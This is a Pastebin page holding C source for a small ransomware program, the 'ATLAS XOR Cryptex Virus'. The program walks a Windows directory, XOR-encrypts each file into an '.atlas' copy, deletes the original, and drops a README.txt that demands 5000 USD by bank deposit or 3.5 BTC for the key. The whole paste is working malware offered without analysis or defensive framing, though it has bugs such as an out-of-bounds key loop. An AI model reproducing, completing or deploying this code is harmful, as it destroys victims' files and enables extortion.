Advertisement
FlyFar

encrypt2.c

Mar 28th, 2023
705
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.43 KB | Cybersecurity | 0 0
  1. #include <errno.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <stdarg.h>
  6. #include <dirent.h>
  7. #include <sys/types.h>
  8.  
  9. #define AND &
  10. #define XOR ^
  11. #define NOT !
  12.  
  13. int i = 0;
  14.  
  15. FILE *buffer;
  16. FILE *ciphered;
  17. FILE *readme;
  18. float sharedkey[10] = {0.65,100,0.365,0,25.9,999,5,12.58,7.0214,103.126};
  19. float precalculated;
  20.  
  21. char path[] = {"C:/test"};
  22.  
  23. struct data_chars {
  24.     char current_char;
  25.     char ciphered_char;
  26.     char pre_ciphered_char;
  27. } data;
  28.  
  29. struct cipher_attrib {
  30.     int password;
  31.     char file[500];
  32.     char c_file[500];
  33.     char readmsg[500];
  34. } c_attrib;
  35.  
  36. int main(void)
  37. {
  38.     DIR *dirp;
  39.   struct dirent *direntp;
  40.     c_attrib.password = 900;
  41.  
  42.     dirp = opendir(path);
  43.     if (dirp == NULL)
  44.     {
  45.         fprintf(stderr, "Error: Unable to open directory\n", perror);
  46.         exit(EXIT_FAILURE);
  47.     }
  48.     while ((direntp = readdir(dirp)) != NULL)
  49.     {
  50.       fprintf(stdout, "Identifying archive %s\n", direntp -> d_name);
  51.       strcpy(c_attrib.file, path);
  52.       strcat(c_attrib.file, "/");
  53.       strcat(c_attrib.file, direntp -> d_name);
  54.       strcpy(c_attrib.c_file, path);
  55.       strcat(c_attrib.c_file, "/");
  56.  
  57.         if((strcmp(direntp -> d_name, ".") == 0)  && (strcmp(direntp -> d_name, "..") == 0))
  58.         {
  59.             fprintf(stderr, "Jumping Archive  %s", c_attrib.file);
  60.         }
  61.         else
  62.         if((strcmp(direntp -> d_name, ".") != 0)  && (strcmp(direntp -> d_name, "..") != 0))
  63.         {
  64.  
  65.             buffer = fopen(c_attrib.file, "r"); /* Open the file to Encrypt */
  66.             if(buffer == NULL)
  67.             {
  68.                 fputs("Error opening file or does not exist !", stderr);
  69.                 exit(EXIT_FAILURE);
  70.             }
  71.             strcat(c_attrib.c_file, direntp -> d_name);
  72.             strcat(c_attrib.c_file, ".atlas");
  73.             ciphered = fopen(c_attrib.c_file, "w+"); /*Create encrypted file */
  74.             if(ciphered == NULL)
  75.             {
  76.                 fputs("Error opening file encryptor", stderr);
  77.                 exit(EXIT_FAILURE);
  78.             }
  79.             while(!(feof(buffer)))
  80.             {
  81.                 data.current_char = fgetc(buffer);
  82.                 data.pre_ciphered_char = (char)((int)data.current_char XOR c_attrib.password);
  83.                 for(i = 0;i <= 10;i++)
  84.                 precalculated = (sharedkey[i] * c_attrib.password);
  85.                 data.ciphered_char = (char)((int)data.pre_ciphered_char XOR (int)precalculated);
  86.                 fputc(data.ciphered_char,ciphered);
  87.             }
  88.             fclose(buffer);
  89.             fclose(ciphered);
  90.         strcpy(c_attrib.file, path);
  91.         strcat(c_attrib.file, "/");
  92.         strcat(c_attrib.file, direntp -> d_name);
  93.             remove(c_attrib.file);
  94.         }
  95.     }
  96.     strcat(c_attrib.readmsg, path);
  97.     strcat(c_attrib.readmsg, "/");
  98.     strcat(c_attrib.readmsg, "README.txt");
  99.     readme = fopen(c_attrib.readmsg,"w+");
  100.     fprintf(readme,
  101.                     "\t-------------------------------------\n"
  102.                     "\t-This is the ATLAS XOR Cryptex Virus-\n"
  103.                     "\t-------------------------------------\n\n\n"
  104.                     "\t------------------------------------------------------------------------------------------\n"
  105.                     "\tIf you want to recover your valuable information\n"
  106.                     "\tYou only need to deposit 5000 $ USD\n"
  107.                     "\tIn SBI bank in India with the number \n"
  108.                     "\tOf account 787562312 with its name of instutucion and data\n"
  109.                     "\tTo be able to give you the decryption key or send 3.5BTC\n"
  110.                     "\tat the bitcoin address:............\n\n\n"
  111.                     "\tRemember your Information is in play, do not accept the payment process and your information\n"
  112.                     "\tWill be completely lost\n"
  113.                     "\t------------------------------------------------------------------------------------------\n\n\n"
  114.                     "\tATLAS\n\n");
  115.     fclose(readme);
  116.     return 0;
  117. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement